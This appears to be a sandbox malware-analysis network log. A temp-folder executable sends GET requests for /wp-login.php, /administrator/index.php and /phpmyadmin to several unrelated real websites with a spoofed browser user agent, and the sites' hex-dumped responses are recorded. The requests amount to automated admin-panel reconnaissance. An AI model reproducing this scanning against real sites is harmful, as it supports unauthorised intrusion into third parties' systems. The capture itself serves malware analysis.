2023-12-20 02:13:27 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	57161	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	181	OUT	GET /wp-login.php HTTP/1.1 Host: www.ecochild.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	1359	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 X-Storefront-Renderer-Rendered: 1 Set-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:26 GMT; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:26 GMT; SameSite=Lax Set-Cookie: _shopify_y=14dfed51-0a51-4931-9843-c12b424147f2; Expires=Thu, 19-Dec-24 02:13:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax Set-Cookie: _shopify_s=f4370588-22dc-4936-9050-f60901d9890d; Expires=Wed, 20-Dec-23 02:43:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin ETag: W/"cacheable:d8490b8480ea69d77871b9c2b87c85ee" X-Cache: miss X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 7475083 X-ShardId: 60 Vary: Accept Content-Language: en-AU powered-by: Shopify
2023-12-20 02:13:27 UTC	995	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 34 38 30 3b 64 65 73 63 3d 22 67 63 3a 31 30 30 22 2c 20 64 62 3b 64 75 72 3d 39 34 2c 20 66 65 74 63 68 3b 64 75 72 3d 31 37 31 2c 20 72 65 6e 64 65 72 3b 64 75 72 3d 39 31 2c 20 77 61 73 6d 2c 20 77 61 73 6d 44 6f 77 6e 6c 6f 61 64 3b 64 75 72 3d 31 37 36 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 30 39 36 39 31 30 35 34 36 39 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 36 6a 6d 6a 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 Data Ascii: Server-Timing: processing;dur=480;desc="gc:100", db;dur=94, fetch;dur=171, render;dur=91, wasm, wasmDownload;dur=176, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="80969105469", pageType;desc="404", servedBy;desc="6jmj", requestID;desc="
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 31 35 31 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 61 63 65 62 6f 6f 6b 2d 64 6f 6d 61 69 6e 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 77 70 75 78 7a 68 7a 36 67 67 35 6c 6a 7a 78 6f 72 61 69 73 63 37 35 78 72 77 7a 68 32 65 22 Data Ascii: 151d<!doctype html>...[if IE 9]> <html class="ie9 no-js" lang="en"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...> <html class="no-js" lang="en"> ...<![endif]--><head> <meta name="facebook-domain-verification" content="wpuxzhz6gg5ljzxoraisc75xrwzh2e"
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 63 6f 20 43 68 69 6c 64 20 69 73 20 61 20 6f 6e 65 20 73 74 6f 70 20 6f 72 67 61 6e 69 63 20 62 61 62 79 20 73 68 6f 70 20 74 68 61 74 20 6f 66 66 65 72 73 20 61 20 77 69 64 65 20 73 65 6c 65 63 74 69 6f 6e 20 6f 66 20 62 61 62 79 20 70 72 6f 64 75 63 74 73 20 61 6e 64 20 6b 69 64 73 27 20 65 73 73 65 6e 74 69 61 6c 73 20 74 68 61 74 20 61 72 65 20 6e 61 74 75 72 61 6c 2c 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 66 72 69 65 6e 64 6c 79 2c 20 6f 72 67 61 6e 69 63 2c 20 61 6e 64 20 73 61 66 65 2e 20 4e 75 72 74 75 72 65 20 79 6f 75 72 20 63 68 69 6c 64 72 65 6e 20 61 73 20 74 68 65 79 20 67 72 6f 77 2e 20 4f 72 64 65 72 20 74 6f 64 61 79 21 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 Data Ascii: iption" content="Eco Child is a one stop organic baby shop that offers a wide selection of baby products and kids' essentials that are natural, environment friendly, organic, and safe. Nurture your children as they grow. Order today!"><meta name="twitt
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 63 73 2d 68 65 6c 6c 6f 62 61 62 79 2e 73 74 79 6c 65 73 2e 73 63 73 73 2e 63 73 73 3f 76 3d 39 32 38 37 39 33 33 33 36 38 38 33 32 33 36 35 39 39 35 31 36 38 32 39 32 33 35 35 39 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 0a 20 20 3c 21 2d 2d 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 Data Ascii: xt/css" media="all" /> <link href="//www.ecochild.com.au/cdn/shop/t/26/assets/cs-hellobaby.styles.scss.css?v=92879333688323659951682923559" rel="stylesheet" type="text/css" media="all" /> ... <link href="//www.ecochild.com.au/cdn/shop/t/26/ass
2023-12-20 02:13:27 UTC	1306	IN	Data Raw: 66 5d 2d 2d 3e 0a 0a 20 20 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 6d 65 2e 6a 73 3f 76 3d 39 30 37 32 38 33 39 35 39 30 37 30 34 34 33 35 33 38 31 35 39 30 30 32 32 39 33 37 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 Data Ascii: f]--> ...[if (gt IE 9)\|!(IE)]>...><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/theme.js?v=9072839590704435381590022937" defer="defer"></script>...<![endif]--> ...[if lte IE 9]><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/the
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 36 36 61 30 0d 0a 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 2c 22 70 68 6f 6e 65 22 5d 2c 22 72 65 71 75 69 72 65 64 53 68 69 70 70 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 2c 22 70 68 6f 6e 65 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 6a 63 62 22 5d 2c 22 74 6f 74 61 6c 22 3a 7b 22 74 79 70 65 22 3a 22 70 65 6e 64 69 6e 67 22 2c 22 6c 61 62 65 6c 22 3a 22 45 63 6f 20 43 68 69 6c 64 22 2c 22 61 6d 6f 75 6e 74 22 3a 22 31 2e 30 30 22 7d 2c 22 73 68 6f 70 69 66 79 50 Data Ascii: 66a0stalAddress","email","phone"],"requiredShippingContactFields":["postalAddress","email","phone"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","jcb"],"total":{"type":"pending","label":"Eco Child","amount":"1.00"},"shopifyP
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 70 69 66 79 2e 72 6f 75 74 65 73 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 2e 72 6f 6f 74 20 3d 20 22 2f 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 6f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 6f 2e 70 75 73 68 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 72 67 75 6d 65 6e 74 73 29 29 7d 72 65 74 75 72 6e Data Ascii: pify.routes \|\| {};Shopify.routes.root = "/";</script><script type="module">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 64 32 61 61 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 73 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 5f 31 36 62 33 33 31 30 36 Data Ascii: d2aa.en.esm.js","modules/chunk.common_aa18f3d8.esm.js","modules/chunk.shop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"login-button":["modules/client.login-button_16b33106
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 75 72 6c 73 5b 69 5d 3b 0a 20 20 20 20 20 20 76 61 72 20 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 73 63 72 69 70 74 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 78 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 73 2c 20 78 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 3b 0a 20 20 69 66 28 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 27 6f 6e 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 77 69 6e 64 6f Data Ascii: ascript'; s.async = true; s.src = urls[i]; var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(s, x); } }; if(window.attachEvent) { window.attachEvent('onload', asyncLoad); } else { windo
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 20 65 28 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2c 6e 29 3b 66 6f 72 28 76 61 72 20 6f 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 63 74 69 6f 6e 2c 72 3d 30 3b 72 3c 6e 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 69 66 28 2d 31 21 3d 3d 6f 2e 69 6e 64 65 78 4f 66 28 6e 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 65 2c 5b 22 2f 63 6f 6e 74 61 63 74 22 2c 22 2f 63 6f 6d 6d 65 6e 74 73 22 2c 22 2f 61 63 63 6f 75 6e 74 22 5d 29 29 26 26 6e 75 6c 6c 21 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 26 26 28 28 65 3d 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 Data Ascii: e(t.parentElement,n);for(var o=t.parentElement.action,r=0;r<n.length;r++)if(-1!==o.indexOf(n[r]))return t.parentElement;return null}(e,["/contact","/comments","/account"]))&&null!=e.querySelector(t)&&((e=o.createElement("script")).setAttribute("src","htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	56855	83.98.155.23	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	189	OUT	GET /administrator/index.php HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	373	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:26 GMT Server: Apache/2 X-Powered-By: PHP/7.4.33 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.a2b-internet.com Cache-Control: max-age=0 Expires: Wed, 20 Dec 2023 02:13:26 GMT Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	57163	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	374	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:26 UTC	7818	IN	Data Raw: 31 66 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 Data Ascii: 1f0d<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Two Hills Studio — WordPress</title><script type="text/javascript">function theChampLoadEvent(e){var
2023-12-20 02:13:26 UTC	137	IN	Data Raw: 75 6e 74 69 6d 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 Data Ascii: untime-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.1
2023-12-20 02:13:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:26 UTC	1647	IN	Data Raw: 36 36 33 0d 0a 35 2e 30 27 20 69 64 3d 27 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 31 36 39 64 33 63 66 38 65 38 64 39 35 61 33 64 36 64 35 27 20 69 64 3d 27 77 70 2d 68 6f 6f 6b 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d Data Ascii: 6635.0' id='wp-polyfill-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5' id='wp-hooks-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	57279	87.98.154.146	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	192	OUT	GET /administrator/index.php HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	370	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.plastikolor.com/administrator/
2023-12-20 02:13:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	57474	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	183	OUT	GET /phpmyadmin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	922	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038406.8421654920550512748 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:26 GMT Age: 3 X-Served-By: cache-dfw-kdfw8210101-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv0cm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRallByb7qeZuWAHS3nxM+sbLDIGLFwb2pmkcrLHBWfsAnTlHe3t+38p+RghltS0V/JBQ==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:26 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
